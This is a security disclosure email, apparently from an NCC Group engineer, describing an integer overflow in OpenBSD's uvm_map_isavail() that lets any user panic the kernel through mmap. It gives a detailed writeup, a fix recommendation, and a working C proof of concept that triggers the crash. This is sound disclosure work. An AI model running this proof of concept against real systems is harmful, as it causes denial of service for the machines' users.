Hi,  We just came across another issue that allows a user to crash the system 
through mmap.  Despite trying, we didn't notice any more serious privilege 
escalation opportunities.

/*
 * mmap_dup_panic.c
 *    Demonstrate a panic through the mmap system call.
 *
 * gcc -g mmap_dup_panic.c -o mmap_dup_panic
 */

#ifdef BUG_WRITEUP //---------------------------------------------------
Any user can trigger a panic in mmap with an overlapping mapping

Impact: 
Any user can trigger a panic by requesting a large mapping
that overlaps with an existing mapping.

Description:
It is possible for an mmap() call to request a mapping at a 
virtual address that overlaps an existing mapping.  This is checked
for in uvm_map() by calling uvm_map_isavail() with the hint address and
size..  There is a flaw in uvm_map_isavail() when the requested size is very
large. The code looks up the maps at the start and end address with:

    if (*start_ptr == NULL) {
        *start_ptr = uvm_map_entrybyaddr(atree, addr);
        if (*start_ptr == NULL)
            return 0;
    } else
        KASSERT(*start_ptr == uvm_map_entrybyaddr(atree, addr));
    if (*end_ptr == NULL) {
        if (VMMAP_FREE_END(*start_ptr) >= addr + sz)
            *end_ptr = *start_ptr;
        else {
            *end_ptr = uvm_map_entrybyaddr(atree, addr + sz - 1);
            if (*end_ptr == NULL)
                return 0;
        }
    } else
        KASSERT(*end_ptr == uvm_map_entrybyaddr(atree, addr + sz - 1));

Due to an integer overflow that can occur when computing
"addr + sz" it is possible for the end_ptr map to be
computed incorrectly (setting "*end_ptr = *start_ptr"). Later
when this same function iterates over the maps between the start 
and end maps, the function may fail to notice that a large mapping 
overlaps with an existing mapping.

If uvm_map_isavail() indicates that the hint address is available,
uvm_map() will continue its processing without assigning a new
address.  It will eventually call uvm_map_fix_space() which
performs its own sanity lookup with uvm_mapent_addr_insert(),
and panics if an overlapping mapping is added:

    res = RB_INSERT(uvm_map_addr, &map->addr, entry);
    if (res != NULL) {
        panic("uvm_mapent_addr_insert: map %p entry %p "
            "(0x%lx-0x%lx G=0x%lx F=0x%lx) insert collision "
            "with entry %p (0x%lx-0x%lx G=0x%lx F=0x%lx)",
            map, entry,
            entry->start, entry->end, entry->guard, entry->fspace,
            res, res->start, res->end, res->guard, res->fspace);
    }

An attacker can take advantage of this to intentionally
trigger a panic to crash the system.  This does not require
any special privileges.

In theory this flaw might allow an attacker to make a mapping
that wraps around from user addresses, through kernel addresses
and back to low user addresses.  Such a mapping might allow
access to kernel memory or to the NULL page (useful for performing
certain attacks against NULL pointer use in the kernel).
However NCC was unable to find any way to create such a mapping
without causing a panic since it does not appear to be possible
to make a mapping above the stack segment.  All wrap-around mappings
lower than this address overlap with the stack segment and result
in a panic.

Reproduction:
Run the attached mmap_dup_panic.c program. It first maps a
page in and then performs a second mmap() call to request
another mapping at the next page address.  This second mapping overlaps 
the first due to the large size, and causes a panic message such as
"panic: uvm_mapent_addr_insert: map 0xffffff00036be300 entry 0xffffff000311d178 
(0x1dcc56000000-0x1dcc56000000 G=0x0 F=0x200000000) insert collision with entry 
0xffffff000272de08 (0x1dcc56000000-0x1dcc56000000 G=0x0 F=0x1000)"
NCC Group was able to reproduce this issue on OpenBSD 5.9-stable kernel
pulled from CVS on July 25, 2016.

Recommendation:
Detect when "addr + sz" causes an integer overflow in uvm_map_isavail().
Return zero indicating that this mapping is not available in this case.

Reported: 2016-07-28
Fixed:    notyet
#endif // BUG_WRITEUP ---------------------------------------------------
 
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>

void xperror(int cond, char *msg)
{
    if(cond) {
        perror(msg);
        exit(1);
    }
}

int main(int argc, char **argv)
{
    int fd;
    char *p, *pg;

    fd = open("/tmp/mapfile", O_RDWR|O_CREAT, 0666);
    xperror(fd == -1, "/tmp/mapfile");
    write(fd, "testing\n", 8);

    pg = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 
-1, 0);
    xperror(pg == MAP_FAILED, "mmap");

    p = mmap(pg+4096, 0xffffff0000000000, 0, 0, fd, 0);
    xperror(pg == MAP_FAILED, "mmap2");
    printf("no crash!\n");
    return 0;
}

Tim Newsham
Distinguished Security Engineer, Security Consulting
NCC Group
Tim.Newsham@nccgroup.trust | PGP: B415 550D BEE9 07DB B4C9  F96C 8EFE CB2F 402D 
3DF0

Reply via email to